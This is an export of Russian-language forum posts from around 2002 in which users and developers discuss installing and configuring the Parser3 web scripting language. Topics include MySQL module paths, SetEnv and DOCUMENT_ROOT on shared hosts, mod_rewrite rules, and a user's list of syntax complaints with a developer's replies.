Теперь проблема с mysql:\
\
[i]\
can not open the module, Cannot open \"/cgi-bin/libparser3mysql.so\" /cgi-bin/libparser3mysql.so\
\
./parser3.conf(14)\
[/i]\
\
Что делать-то?\
2й парсер прекрасно вставал и работал...\
\
Если кто-то устанавливал субж - плиз мне на мыло - gyn@sura.ru скиньте, ато уже 4:32 и я совсем без сил :(\
\
ps. без проблем установил и работаю на локалке под Win98"
"1253","У меня такое было на valuehost.ru\
Вот добавил такую фишку в конфиг (по доке)\
[code]\
$CHARSETS[\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
]\
[/code]\
Ну и указываешь $charsetsdir\
Ты с MySQL как справился?"
"1254","Можно использовать все, что есть в /download/\
И устанавливается под Win все 'в одно касание' - спасибо авторам - все написано в доке..."
"1258","в доках написано как устанавливать parser на winNT, а если на компе нет сервера, то как быть?   "
"1259","а у тебя точно библиотеки для MySQL лежат в каталоге /cgi-bin/ ?"
"1261","Мне ещё ни разу не получилось заставить этот SetEnv работать, только если в httpd.conf прописываешь, то рулит. Щас буду суппорт распрашивать по этому поводу."
"1263","egr, хоть бы написал остальным, чтобы не наступили на те грабли, что ты наступил, что, оказывается,  нужно было не забыть флажок \"слушай, mod_rewrite, ты после rewrite подсоедини к запросу старый querystring\"...\
\
да будем же обмениваться идеями!"
"1264","возможно, setenv не написан.\
возможно, группа главного parser3.conf не совпадает с группой, от которой запускается CGIка"
"1265","есть два parser3.conf,\
один должен лежать в windows каталоге, и это в нём charsetsdir и так далее.\
\
1.\
их нельзя объединять. как было по-отдельности, так и должно быть.\
2.\
пути в основном parser3.conf должны быть абсолютными [c:\\...]."
"1266","Мысль понял. Тут дело было просто в невнимательности, - я вместо file_id IdArticle писал в RewriteRule, поэтому нужный параметр из строки запроса не передавался странице."
"1267","это уже обсуждалось, видимо, в faq напишу...\
\
эта библиотека на вашей машине должна быть установлена администратором машины. скажите ему \"хочу mysql клиент\", он поставит то, что нужно.\
\
если он всё сделает правильно, то не понадобится писать к ней путь.\
если он говорит, что поставил, а без пути всё равно не работает — узнайте у него полный [b]дисковый[/b] путь к ней, и укажите его в .conf\
\
диагноз в данном случае: или сотри путь совсем, или укажи полный дисковый, а не непонятный виртуальный."
"1268","диагноз: побольше информации при сообщении о проблеме не повредит.\
пишите примеры, и даже успешные, когда всё заработало, может другие, которые страшно ленятся прочитать даже полстраницы документации, но им не лень читать десятки сообщений в форуме, посмотрят на ваш пример, и будут счастливее!\
\
в данном случае флажок QSA был непричём :)\
ещё раз: полезен, когда пришёл запрос вида \
[code]\
/unreal/url/?with=params\
[/code]\
и хочется, чтобы он был преобразован к адресу \
[code]\
/real/url/doc.html?url=/unreal/url&with=params\
[/code], т.е. не потеряны параметры, нужен флажок [QSA] у rewriteRule"
"1269","Мне надо было чтобы URL вида: \
[code]\
/docs/doc.html?file_id=1\
[/code]\
\
Преобразовывался к:\
[code]\
/docs/doc_1.html\
[/code]\
\
RewriteRile написал такой:\
[code]\
RewriteRule   ^(.*)_([0-9]+)\\.html$  /$1.html?file_id=$2\
[/code]"
"1272","Можно обойтись и одним parser3.conf, а site config держать в auto.p и при том не захламлять %WINDIR% ненужными файлами - http://www.parser.ru/forum/?id=977"
"1281","Парсер 3 как и Парсер 2 зависят от переменной окружения DocumentRoot, и если она не равна реальному пути до корня информационного наполнения, то возможны некоторые проблемы при подключении файлов.\
\
Я столкнулся со следующей проблемой:\
\
1. У моего провайдера DocumentRoot не указывает на реальное местоположение моего корня и равна /users\
\
2. При задании переменной $CLASS_PATH в конфигурационном файле сайта как /classes ничего не работало (файлы не подключались).\
\
3. Не находились файлы при использовании ^table::load[...]\
\
После некоторых мытарств выяснилось, что:\
\
1. Переменная(ые) $CLASS_PATH должна выглядеть так (в моем случае):\
[code]\
/e/g/egoroff.spb.ru/html/www/classes\
[/code]\
реальный путь до корня (выяснил это с помощью $env:PATH_TRANSLATED)\
[code]\
/users/e/g/egoroff.spb.ru/html/www/classes\
[/code]\
т.е. $CLASS_PATH определяется как полный путь минус DocumentRoot\
\
2. Использовать ^table::load[...] могу только при указании полного пути к подключаемому файлу минус DocumentRoot:\
[code]\
^table::load[/e/g/egoroff.spb.ru/html/www/file.txt]\
[/code]"
"1282","... глянь если не трудно: http://givi.nvn.ru/env.p2 Как думаешь, что это за ерунда? В суппорте мне сказали, что SetEnv Должен работать. Может я пишу не правильно?"
"1283","я бы вместо\
[code]\
SetEnv HTTP_TEST testString\
SetEnv TEST String\
[/code]\
\
написал бы:\
\
[code]\
SetEnv HTTP_TEST /полный_путь/testString\
SetEnv TEST /полный_путь/String\
[/code]\
"
"1286","Ну, допустим это не каталоги а чё-нить другое, просто текстовая метка... Я их вызываю с помощью ^env[] там второй Парсер стоит. Но и с третьим тоже самое."
"1288","зачем плодить серверные языки? в чём реальное приемущество \
перед тем же php? и поддерживает ли он сессии? как с регулярными\
выражениями?"
"1290","Определи макрос @fullPath который будет приписывать к \"локальному\" пути полный путь до / сервера. Этот путь занеси в переменную. (все в parser3.conf)\
\
Тогда ^table::load[fullPath[file.txt]] будет давать то, что нужно. На другой машине (допусти, дома при отладке, или где еще) достаточно будет просто переопределить переменную с этим \"полным путем\".\
\
Хотя, думается, у тебя уже так и устроено ;-)"
"1291","если честно, я не знаю какая, но я пишу там полные пути."
"1293","Не успел пока я еще так устроить, поскольку работать (тестировать) с 3-м парсером на этом хостинге начал только сегодня (потому что версия без групп появилась только сегодня) и ты мне маленько время сэкономил :)"
"1294","Критика, ну или подобный тон, хороши только тогда, когда они обоснованы, т.е. сначала надо узнать что это, сравнить с другими вещами и только затем высказываться. Здесь же, ты даже не удосужился, хотя бы поверхностно доку прочитать."
"1295","Я помню, тут была библиотечка со старыми функциями, где бы ее..."
"1296","Что-то тяжко проходит у меня переход со второго парсера на третий.\
Возникли вопросы, а в доке я их чего-то не нашел:\
  - как вставлять файлы в страницу?\
  - как теперь простыми средствами делать полосатые таблицы?\
  - решили наверное что счетчик - суксь и убрали?\
-----------------------------------------------------------------\
зараннее благодарен за ответ\
"
"1297","пока считываются только те кодировки, что заданы в основном parser3.conf"
"1298","1.\
интересно, что за веб-сервер такой?\
2.\
попробуй setenv'ом выпрямить?"
"1299","Я пробовал, не получается, а сервер там Apache 1.3.23 под FreeBSD 4.3"
"1300","http://parser.ru/forum/?id=544"
"1301","А вот такая конструкция в таких условиях не работает:\
[code]\
$foto[^image::measure[${full_path}/images/foto.jpg]]\
^foto.html[$.border[0]$.alt[]]\
[/code]\
\
где $full_path - переменная определяющая путь до корня. В этом случае конструктор measure класса image отрабатывает нормально, т.е. он находит нужный файл, вычисляет его размеры, а вот вывод методом html не работает потому что в качестве URI страницы он ставит этот самый, полный путь до файла, в файловой системе сервера, т.е. получается что-то типа:\
[code]\
<img alt=\"\" border=\"0\" height=\"358\" src=\"/e/g/egoroff.spb.ru/html/www/images/foto.jpg\" width=\"286\" />\
[/code]\
вместо:\
[code]\
<img alt=\"\" border=\"0\" height=\"358\" src=\"/images/foto.jpg\" width=\"286\" />\
[/code]"
"1302","http://parser.ru/forum/?id=544"
"1303","http://groups.google.com/groups?dq=&hl=en&oe=KOI8-R&threadm=1019963468%40p419.f672.n463.z2.ftn&prev=/groups%3Fdq%3D%26num%3D25%26hl%3Den%26oe%3DKOI8-R%26group%3Dfido7.ru.website%26start%3D25\
http://groups.google.com/groups?dq=&hl=en&oe=KOI8-R&frame=right&th=b4050539d3d46f&seekm=3cd96655%241%40mserge.newtonideas.com#link1\
http://groups.google.com/groups?q=g:thl2420800510d&dq=&hl=en&oe=KOI8-R&selm=3CC8F9B8.3060008%40rinet.ru и вся дискуссия\
http://groups.google.com/groups?q=g:thl2890649825d&dq=&hl=en&oe=KOI8-R&selm=3CCD0CE8.6030702%40rinet.ru\
и вся дискуссия\
\
Summary: нету в php нормальных регекспов перл-совместимых, нету прозрачной работы с кодировками (так, за оператор ^taint[mail-header][Re: Велик и могуч русский язык во всём множестве своих кодировок] душу продать можно), прозрачной концепции \"чистых\" и \"грязных\" данных и ещё много чего.\
\
Что очень важно и хорошо в парсере - это достаточно стройная идеология, концепция, которая стоит за языком - за что и ценим. php в этом смысле - нагромождение компромиссов со старыми решениями."
"1304","В доках и факах по Парсеру сказано, что это язык скриптования, на котором может работать любой не-программист, знающий язык HTML, но не знающий реального программирования. \
Для П2 это было так.\
Для П3 это принципиально не так. Получился весьма сложный и пока что незаконченный ЯП с (весьма странной, по сравнению с классикой) объектной ориентированностью. На нем _надо_ именно программировать.\
Но, как и раньше, типовые варианты получаются быстро. Менять дизайн по-прежнему легко, а это важно, когда работаешь с заказчиком, и он постоянно пытается менять сайт, включая раскладку и внешний вид. \
Установка -- да, _намного_ сложнее. Но уже после пары установок следующие происходят быстро (с точностью до особенностей хостинга, но не парсера). \
Так что оно -- хорошо, оно -- работает, но это -- ЯП."
"1305","Есть такой код:\
\
[code]@headers[]\
$response:Server[\
# А пущай поудивляются...\
   $.value[Microsoft Personal Web Server 1.0 (Windows 3.11 for Workgroups 16-bit)]\
][/code]\
\
Как я понимаю, Apache заменяет не нравящиеся ему заголовки своими. Как можно это исправить? Ну хочу я народ подурить! :-)"
"1306","строчку лишнюю стёр: \
\
Мой header апач заменяет своим, Server: Apache/1.3.20 (Unix) PHP/4.1.2 PHP/3.0.18 rus/PL30.5 - а я хочу сделать так, чтобы он не лез своими грязными руками в то, что я отдаю клиенту."
"1307","SetEnv работает если прописан в .htaccess папки /domains/www или же .htaccess папки /cgi. Если прописывать в папки поддоменов, то не работат. О как."
"1308","Parser3: Error in the code\
\
undefined protocol 'mysql'\
\
Error caused by the operator: mysql://lance@antares.nccc.ru/p3test\
\
Error in file: c:/web/www.antares.nccc.ru/html/auto.p in line: 11\
\
Exception Type: parser.runtime\
\
\
\
Backtrace:\
\
connect c:/web/www.antares.nccc.ru/html/adm/index.html(28)\
if c:/web/www.antares.nccc.ru/html/adm/index.html(27)\
body_main c:/web/www.antares.nccc.ru/html/auto.p(63)\
body c:/web/www.antares.nccc.ru/html/auto.p(15)"
"1309","9. Скобки. Их расположение имеет решающее значение, а понять, что же не так,\
из документации невозможно, напр., вот это -- не работает:\
===\
Результат работы:<br>\
^try{\
Hello! \
^throw[bad.command;$command;Wrong command $command, good are add&delete]}\
{\
Увы, ответ отрицательный. Совсем...\
$exception.comment\
$exception.handled(1) \
}\
===\
а это -- работает:\
===\
Результат работы:<br>\
^try{\
Hello! \
^throw[bad.command;$command;Wrong command $command, good are add&delete]\
}{\
Увы, ответ отрицательный. Совсем...\
$exception.comment\
$exception.handled(1) \
}\
===\
Ошибки такого рода ловить крайне сложно, с точки зрения доки это одно и то же.\
Получается, что здесь очень сложный несвободный формат записи.\
\
"
"1310","1. Работа с формами. Все рассчитано на то, что форма одна. \
А в реальных документах их может быть несколько, с разными именами и\
разными обработчиками.\
<form name=form1... >... </form>\
Как с этим работать? Будет ли поддержка такого? В доке нет. \
\
2. УРЛы. Пример из доки:\
\"Тогда: \
$request:uri \
вернет: \
/news/index.html?year=2000&month=05&day=27   \".\
Как правило, нас интересует именно адрес страницы, к которой в данный момент \
производится обращение, а не строка со всеми параметрами (к тому же не\
разобранными).\
Лучше бы сия функция выдавала строку ДО \"?\". \
Те паче, что разбор строки на составляющие в парсере не вполне удобен, и\
достигается некоторыми неочевидными манипуляциями (это явно стоит сделать \
более простым, поскольку очень часто встречается в реальной работе). \
Возможно, стоит иметь несколько функций, причем прежнюю НЕ переименовывать,\
ибо поломаются уже работающие страницы, \
одну -- для выдачи только адреса,\
другую -- для выдачи полной строки запроса, \
третью -- для строки краткой строки запроса,\
четвертую -- для получения только параметров\
(поименно параметры получаются через (пока что единственную и анонимную) форму\
$form:имя).\
\
"
"1311","4. Результаты обсуждения и отсылки багрепортов иногда вызывают сообщения типа\
\"исправили уже после выкладывания бинарника\". Собрать из исходников -- \
задача не для каждого юзера. \
Планируется ли периодическое выкладывание новых версий бинарников на сайт, \
прежде всего -- под винды, где эта сборка особенно нетипична и нетривиальна?\
М.б. иметь версии типа юниксных (\"Новость. Вышла новая нестабильная версия\
парсера-3 parser-3.5.27. Новичков просим не беспокоиться, а экспертов -- \
присылать багрепорты на адрес...\"). Тем паче, что разработка идет на CVS, \
и подобные вещи д.б. тривиальны. \
\
"
"1312","1. Ну и что, что форм 2 или более? Создай документ и запости его, какие параметры ты получишь? Ты умеешь постить одновременно несколько форм со страницы и тебе это нужно каждый день?\
\
2. $request:uri - это и в африке $request:uri\
Тебе может быть нужно разобрать ее одним способом, а мне - совершенно иным. Если тебе надо это - напиши свои операторы, которые будут, как мне кажется достаточно простыми, подключай их в своих проектах и юзай.\
\
Возможно, что стОит выложить для скачивания некоторые операторы, которые используют некоторые из нас. Почему этого не сделано? \
Очень просто: p3 еще очень молод. Еще не понятно было, что нужно сделать командой парсера - а что пользовательским оператором.\
Я например, сразу создал для себя пачку подобных пользовательских операторов, но в связи с изменениями в языке некоторые из них пользовать ВЕРДНО, т.к. появились команды, которые делают это лучше и быстрее.\
"
"1314","Интересно, вот наверняка же есть человек, который отвечает за идеологию продвижения Parser'а в массы. Или нет? Читает ли он этот форум? Не программист ли он (надеюсь, что нет :-) )?"
"1315","setenv по-умолчанию есть.\
в .htaccess его можно использовать.\
если cgi-bin физически не в веб-пространстве, то надо писать в .htaccess в физическом каталоге cgi-bin, можно каталоге над ним"
"1316","эти строки обычно написаны в основном parser3.conf\
под unix он может не читаться, если группа этого файла не совпадает с группой cgi процесса. под win32 может не читаться, только если файл вообще забыт.\
\
задать табличку протокол->драйвер можно в любом файле.\
"
"1317","нельзя писать между ними разделители. это обсудили уже не раз.\
\
ведь неясно, является ли текст после whitespace кодом parser или просто буквами, которые надо без обработки отдать."
"1318","проще и приятнее любой другой.\
все .dll дополнительных библиотек включены в бинарном виде.\
\
выкачиваются необходимые модули в каталог /parser3project любого диска, открывается parser3/parser3.dsw и нажимается F7."
"1319","целью заставить кого-то пользоваться чем-то против его воли никто не задаётся."
"1320","И снова всем привет!!! На этот раз у меня такой вопрос - как в этой штуковине (в Linux'e)\
установить принтер Epson LX300 и модем???"
"1321","[code]\
@request_file[]\
$result[^request:uri.match[(^^.*)\\?.*][]{$match.1}]\
^if(def $result){}{$result[$request:uri]}\
[/code]\
"
"1322","Можно ли сделать такую штуку: если стоит сабжевая галочка, то показывать до кучи дату последнего сообщения в треде. Это ведь не очень сложно?\
"
"1323","Я принципиально не люблю что-либо записывать в каталог windows. Потом по всему диску искать, где что лежит. ;-) Это неудобно. \
\
P.S. Как же это так -- sql-модуль читается не из главного parser3.conf, а кодировки только из главного? ;-) Если уж думать о безопасности, то IMHO, должно быть наоборот. ;-)"
"1324","более интересно как(или что) видят разработчики (в) будущее(м) парсера ?? "
"1326","Да, проблемы действительно у валухост.\
У меня все ок."
"1327",".. пока они не сделали наследование от базовых классов. Пусть работают, не отвлекайте их. ;))"
"1328","Делаю так:\
[code]\
SetEnv DOCUMENT_ROOT /путь_к_корню_веб_пространства/\
[/code]\
Потом проверяю $env:DOCUMENT_ROOT и она все равно равна /users\
\
cgi-bin находится в веб пространстве"
"1329","Мне надо изготовить что-то типа доски Почета(вернее два отделения позора и почета).\
Хотелось бы воспользоваться парсером...\
Нужно:\
Что то типа фотоальбома с тамбнейлами. При щелчке по тамбнейлу должна открываться информация о том кто это такой и за что его хвалить/ругать.\
и надо,чтобы всю эту байду можно было добавлять из формы(пользоваться этим будет секретарша)\
Помогите пожалуста разобраться как бы это все сотворить.\
Я не жду готовых решений. \
Хоть чем-то.......\
Кто чем может......\
"
"1330","День добрый,\
 \
вот коллекция вопросов, замечаний, предложений на сегодня. \
Кое-что было в форуме, кое-что еще нет, оставлено для письма.\
На некоторые уже есть ответы, но их стоит оставить -- для пролносты картины, \
и еще потому, что сами проблемы все равно не решены.\
Это jFYI, не критика, пожелания по улучшению хорошей вещи, которой я пользуюсь.\
 \
$myke parser3 bad.txt 20020500 20020514 0203\
 \
* Непонятки в Парсере3\
 \
*** Таблицы \
 \
1. Про ^table.append:\
\"Пример использования: \
$stuff[^table::create{name   pos \
Alexander   boss \
Sergey     coder \
}] \
^stuff.append{Nikolay   designer} \
^stuff.save[stuff.txt] \
Пример добавит в таблицу stuff новую запись и сохранит таблицу на диске.\
При этом внутри кода примера получить значение третьего столбца добавленной\
записи нельзя, однако, его можно увидеть в файле stuff.txt.\"\
Строки, наверное?\
И почему нельзя?\
 \
2. См. Хеши.1.\
 \
3. Таблицы -- штука полезная. \
Но почему не сделать их более полнофункциональными?\
Допускается чтение элементов таблиц, но нет записи,\
напр., есть \
\"Получение содержимого столбца \
$таблица.поле    \
Возвращает содержимое столбца поле из текущей строки таблицы. \
Пример использования: \
$tab.name \
Пример вернет значение, определенное в колонке name текущей строки таблицы. \"\
но нет \
$таблица.поле[новое_значение]\
а это было бы очень полезным.\
 \
4. См. Хеши.1.\
 \
5. Метод line не описан в документации, хотя и используется там,\
например, в описании метода fields класса table.\
 \
*** Хеши\
 \
1. Есть преобразование таблицы к хешу, но нет построения таблицы из хеша.\
А помогло бы. Поскольку таблицы фактически являются константами, а с хешами \
все же можно работать на запись. \
Порядок формирования нвоой таблицы можно делать произвольным, поскольку \
в общем случае порядок элементов в хеше не определен.\
(Хотя, по аналогии с Tie::IxHash Perl'а можно иметь и хеш в порядке вставки \
элементов, либо сделать метод с сортировкой по опред. полю при формировании\
таблицы). \
 \
*** Даты \
 \
1. Даты в таблице \
$now[^date::now[]]\
$online[^table::load[$root/data/online.tab]]\
^online.append{$uid $who $now}\
дает:\
\"contains illegal assignment attempt of date to MAIN code_frame, use constructor\
now\
c:/apache/htdocs/mis/spec/check.html(24)\
exception.type=parser.runtime \"\
Нельзя работать с датами в таблице?\
Сказано:\
\"Числовое значение объекта класса date равно числу суток с 01.01.1970 до\
даты, заданной в объекте.\",\
и приводятся примеры с арифм. сложением/ вычитанием и сравнением.\
Но -- неужели это не положить в таблицу?\
Впрочем, такое\
$enow[^eval($now)]\
^online.append{$uid $who $enow}\
работает и пишет вещественное число.\
\"11817.9\"... -- почему-то одно и то же...\
 \
2. Вообще, однонаправленность преобразований удивляет,\
напр., есть \
\" ^date.sql-string[] \
Метод преобразует дату к виду ГГГГ-ММ-ДД ЧЧ:ММ:СС, который принят для\
хранения дат в СУБД. Использование данного метода позволяет вносить в базы\
данных значения дат без дополнительных преобразований. \"\
Однако обратного метода нет (преобразование к формату даты), и очень жаль. \
 \
*** Синтакис\
 \
1. Имена переменных. Минус (тире) в них -- явно лишняя возможность. \
Достаточно было бы иметь подчерк. А так лишние сложности и конфликты.\
(Зачем делали -- понятно, для простого включения запросов типа\
$Content-type, но стоит ли оно того?)\
 \
2. Форматные строки -- очень ограниченны. Хотелось бы и %s, и т.п.\
Все равно обработка идет через C++, так и поставить sprintf(\"...\", )... \
 \
3. Чувствительность к пробелам при вводе операторов\
 ^if(){}{}  -- работает\
 ^if (){}{}  -- НЕ работает\
Возможно, оптимальным решением было бы игнорировать whitespaces между соотв.\
скобками.\
 \
4. Пустые строки внутри сложных конструкций могут сделать их неработающими.\
 \
5. @USE -- конструкция из другого мира. Ничего аналогичного нет нигде больше\
в парсере, ее синтаксис описан вскользь, в сравнеии с ^use[]... \
Синтаксис отличается от иснтаксиса остальных операторов.\
Какие еще есть похожие вещи? Каковы в общем случае возможности @USE?\
 \
6. Важнейшая возможность любого форматирования в общем случае -- полное\
отключение такового редактирования. (доп.) Можно предложить такое: при\
появлении команды ^noparser[] обработка текущего файла прекращается,\
остаток выдается как есть.\
 \
7. (доп.) А по команде ^end[] (или __END__) прекращается обработка (ввод)\
текущего файла (как в Perl).\
 \
8. Возможно, работа с классами в парсере -- вещь совершенно излишняя.\
Тем более, что сделана она с существенными ограничениями по сравнению с классикой.\
Однако объектный синтаксис в вызове функций вполне оправдан (через точку).\
Ограничение языка сложной макрообработкой было бы вполне уместно, \
иерархическое наследование макросов вполне решило бы большинство (или все) \
желаемые цели.\
 \
9. Скобки. Их расположение имеет решающее значение, а понять, что же не так,\
из документации невозможно, напр., вот это -- не работает:\
===\
Результат работы:<br>\
^try{\
Hello! \
^throw[bad.command;$command;Wrong command $command, good are add&delete]}\
{\
Увы, ответ отрицательный. Совсем...\
$exception.comment\
$exception.handled(1) \
}\
===\
а это -- работает:\
===\
Результат работы:<br>\
^try{\
Hello! \
^throw[bad.command;$command;Wrong command $command, good are add&delete]\
}{\
Увы, ответ отрицательный. Совсем...\
$exception.comment\
$exception.handled(1) \
}\
===\
Ошибки такого рода ловить крайне сложно, с точки зрения доки это одно и то же.\
Получается, что здесь очень сложный несвободный формат записи.\
 \
10. Очень запутанно со скобками () [] {} и с обращениями . : ::\
Например, почему просто переменная -- это $var, а применение к ней метода \
дает ^var.method? Странно получается и в конструкциях типа \
^var.item.method[], где item -- поле переменной (напр., элемент таблицы),\
а  method -- применяемая функция.\
На с.д. лучше (м.б.) было бы иметь только \"птичку\" ^, а то, что вызывается,\
определялось бы типом того, к чему идет обращение:\
^var\
^var.item\
^var.method[]\
^var.item.method[]\
и пр.\
Заодно можно убрать различие между переменными, объектами, макросами и пр. --\
все это вполне укладывается в одно понятие на уровне макропроцессора.\
 \
11. Точка после переменной или вызова может дать плохой эффект,\
даже если после них никаких конструкций не идет.\
Напр., \
===\
Найдено ответов: $n.\
===\
будет обругано, и пользователь (разработчик, который, как утверждается,\
м.б. даже и не программистом) будет долго гадать, в чем дело. IMHO тут надо\
иметь квалификацию разработчика трансляторов, чтобы понять, что точка в\
конце предложения воспринята как обращение к несуществующему элементу (или методу)\
оъекта $n.\
А вот\
===\
Найдено ответов: $n .\
===\
сработает, но даст некрасивый отступ, при котором точка может быть и перенесена.\
Правильное решение\
===\
Найдено ответов: ${n}.\
===\
но оно приходит с опытом (т.е. с набитыми шишками и потерянным временем);\
это всегда так, но на таких-то конструкциях можно бы и сэкономить :)\
 \
12. Включение файлов. \
Нужна команда -- \"включить файл с обработкой\". Пока что сильно косвенно...\
 \
*** Формы, вызовы, интерактивные функции\
 \
1. Работа с формами. Все рассчитано на то, что форма одна. \
А в реальных документах их может быть несколько, с разными именами и\
разными обработчиками.\
<form name=form1... >... </form>\
Как с этим работать? Будет ли поддержка такого? В доке нет. \
 \
2. УРЛы. Пример из доки:\
\"Тогда: \
$request:uri \
вернет: \
/news/index.html?year=2000&month=05&day=27   \".\
Как правило, нас интересует именно адрес страницы, к которой в данный момент \
производится обращение, а не строка со всеми параметрами (к тому же не\
разобранными).\
Лучше бы сия функция выдавала строку ДО \"?\". \
Те паче, что разбор строки на составляющие в парсере не вполне удобен, и\
достигается некоторыми неочевидными манипуляциями (это явно стоит сделать \
более простым, поскольку очень часто встречается в реальной работе). \
Возможно, стоит иметь несколько функций, причем прежнюю НЕ переименовывать,\
ибо поломаются уже работающие страницы, \
одну -- для выдачи только адреса,\
другую -- для выдачи полной строки запроса, \
третью -- для строки краткой строки запроса,\
четвертую -- для получения только параметров\
(поименно параметры получаются через (пока что единственную и анонимную) форму\
$form:имя).\
 \
*** Организация и установка\
 \
1. Установка, особенно для новичков, весьма сложна. \
На порядок сложнее, чем для парсера-2. \
Нужна более четкая инструкция, с готовыми файламии примерами для разных\
серверов под разные платформы.\
 \
2. Полезно было бы иметь библиотеку стандартных процедур. \
Типа coounter, color... \
 \
3. Очень плохо в новой версии урезать возможности программы.\
Можно изменить синтаксис и сообщить, как в новом реализовать старые\
возможности. \
Например, вынести их в стандартные библиотеки.\
Примеры: ^counter, ^color.\
 \
4. Результаты обсуждения и отсылки багрепортов иногда вызывают сообщения типа\
\"исправили уже после выкладывания бинарника\". Собрать из исходников -- \
задача не для каждого юзера. \
Планируется ли периодическое выкладывание новых версий бинарников на сайт, \
прежде всего -- под винды, где эта сборка особенно нетипична и нетривиальна?\
М.б. иметь версии типа юниксных (\"Новость. Вышла новая нестабильная версия\
парсера-3 parser-3.5.27. Новичков просим не беспокоиться, а экспертов -- \
присылать багрепорты на адрес...\"). Тем паче, что разработка идет на CVS, \
и подобные вещи д.б. тривиальны. \
 \
5. Установка парсера на расширение .html представляется не очень правильной методически.\
М.б. сразу ориентироваться на .p2 для parser2, .p3 для parser3, и т.п.\
(особенно с учетом того, что \
а) команды парсера, случайно встретившиеся в постороннем файле, могут привести к \
неработоспособности других страниц на сервере,\
б) синтаксис даже разных версий парсера полностью несовместим,\
а режима совместимости (как, например, в LaTeX'е) здесь нет (и не будет?). \
Сложность с обращением к index.HTML по умолчанию легко обходится.\
Желающие могут ставить и на обработку .html, но уже добровольно. \
(У меня действильно ыли небольшие сложности, когда перестали работать\
старые стрнаицы из-за _похожих_ на парсерные констукции в них.)\
 \
6. Сложности ввода и вывода в форуме. \
То, что вводится, существенно отличается от того, что выводится (показывается на \
странице форума).\
Например, плывет все форматирование.\
При сохранении по cut&paste все тексты -- поабзацно в одну строку. \
Увы, потом это трудно читать (особенно с учетом пункта Синтаксис.9).\
 \
*** 90. Обратная связь. Сайт и форум\
 \
90.1. Полезно наличие раздела на сайте, где можно было бы выкладывать полезные решения,\
найденные разработчиками и авторами программы.\
например, библиотеки макросов.\
 \
90.2. История сообщений крайне мала. Найти нужное сообщение обчень трудно. \
Стоит иметь полноценный поиск и выдачу любых прошедших сообщений. \
 \
90.3. Хорошо бы иметь несколько подфорумов. Т.е. в одном месте обсуждаются \
организационные проблемы, в другом синтаксические, а в третьем -- пожелания на будущее\
и альфа- и бета-тестирование.\
 \
90.4. М.б. sns-serifs (verdana, tahoma) смотрелись бы луше на сайте?\
 \
*** 99. Опечатки в доке\
 \
99.1. В документации про math:random:\
 ^math:random(верхняя_граница)    \
   Метод возвращает псевдослучайное число, попадающее в интервал от 0 до\
   заданного числа, не включая само число.\
 Пример использования: \
 $math:random(1000) \
 Получим псевдослучайное число из диапазона от 0 до 999. \
Так ^math:random или $math:random?\
Д.б. ^math:random.\
 \
99.2. try. Перехват и обработка ошибок\
\"xml\
 ^xdoc::create{<forgot?>}\
 ошибочных XML код или операция\"\
надо: \"ошибочный\"  \
 \
99.3. try. \
\"Если ошибка так и не будет обработана, если есть, вызывается метод\
unhandled_exception и ему передается информация об ошибке, стек вызовов,\
приведших к ошибке, и выдаются результаты его работы. Также ошибка\
записывается в журнал ошибок веб-сервера. А также производится запись в\
журнал ошибок веб-сервера.\"\
Последние 2 фразы -- одно и то же.\
 \
\\bye\
myke\
"
"1331","> вот коллекция вопросов, замечаний, предложений на сегодня. \
ура!\
\
>1. Про ^table.append:\
>И почему нельзя?\
>3. Таблицы -- штука полезная. \
\
потому, что было решено оставить таблицу возможно более простой,\
переложив основную нагрузку на sql сервер = каждый должен заниматься тем,\
что умеет больше всего.\
уверен, вам бы понравился вариант parser2, в котором по таблицам можно было средствами parser делать запросы, похожим на sql языком. было принято этого всего не делать.\
\
> 5. Метод line не описан в документации, хотя и используется там,\
например, в описании метода fields класса table.\
\
>3. Таблицы -- штука полезная. \
\
мм.. описан?\
http://parser.ru/docs/lang/tableline.htm [Дата обновления: 24.04.2002]\
\
\
> 1. Есть преобразование таблицы к хешу, но нет построения таблицы из хеша.\
> А помогло бы. \
\
сделать можно, однако не вижу реального примера, где становится что-то удобнее.\
menu/foreach — суть одно и то же.\
\
> 1. Даты в таблице \
как уже говорил, таблица приспособлена для вывода уже подготовленных sql сервером данных.\
и работа с датами идёт в строчном формате.\
собственно, таблица умеет хранить только строки.\
соответственно, это делает её очень простой, за что и боремся.\
\
диагноз: хранить дату в текстовом формате.\
если есть экземпляр даты, он переводится в текстовый формат ^date.sql-string[]]\
\
> $enow[^eval($now)]\
> работает и пишет вещественное число.\
> \"11817.9\"... -- почему-то одно и то же...\
здесь у eval не задан формат вывода.\
по-умолчанию 6 знаков, чего недостаточно, чтобы показать минуты, видно только, что происходит дело в конце дня: 9 десятых дня уже прошло.\
\
\
> есть ^date.sql-string[] \
> Однако обратного метода нет (преобразование к формату даты), и очень жаль. \
уже есть[в cvs, головная ветка], бинарники в дороге.\
\
> 1. Имена переменных. Минус (тире) в них -- явно лишняя возможность. \
> Достаточно было бы иметь подчерк. А так лишние сложности и конфликты.\
> (Зачем делали -- понятно, для простого включения запросов типа\
> $Content-type, но стоит ли оно того?)\
разумная удобная простая альтернатива?\
\
> 2. Форматные строки -- очень ограниченны. Хотелось бы и %s, и т.п.\
> Все равно обработка идет через C++, так и поставить sprintf(\"...\", )... \
ну и что будет по printf(\"%s\", 5)? :)\
\
любой сложности форматные строки пишутся самим при помощи match, миша публиковал свой date time format модуль, там хороший пример.\
\
> 3. Чувствительность к пробелам при вводе операторов\
>  ^if(){}{}  -- работает\
>  ^if (){}{}  -- НЕ работает\
> Возможно, оптимальным решением было бы игнорировать whitespaces между соотв.\
> скобками.\
\
^if(условие){текст} [вася]\
здесь \"[вася]\", это буквы такие, или код else?\
неясно = зависит от замысла кодера, а parser не чтец мыслей.\
было принято решение быть строже но однозначнее.\
\
\
> 4. Пустые строки внутри сложных конструкций могут сделать их неработающими.\
не очень понял, пример?\
\
\
>5. @USE -- конструкция из другого мира. Ничего аналогичного нет нигде больше\
>в парсере, ее синтаксис описан вскользь, в сравнеии с ^use[]... \
>Синтаксис отличается от иснтаксиса остальных операторов.\
намеренное уменьшение количества букв на единицу выраженной мысли.\
в духе parser2.\
\
>Какие еще есть похожие вещи? \
@CLASS\
@BASE\
\
\
>Каковы в общем случае возможности @USE?\
\
см. /docs\
\
>6. Важнейшая возможность любого форматирования в общем случае -- полное\
>отключение такового редактирования. (доп.) Можно предложить такое: при\
>появлении команды ^noparser[] обработка текущего файла прекращается,\
>остаток выдается как есть.\
\
конкретный пример, когда это полезно?\
\
>7. (доп.) А по команде ^end[] (или __END__) прекращается обработка (ввод)\
>текущего файла (как в Perl).\
\
конкретный пример, когда это полезно?\
\
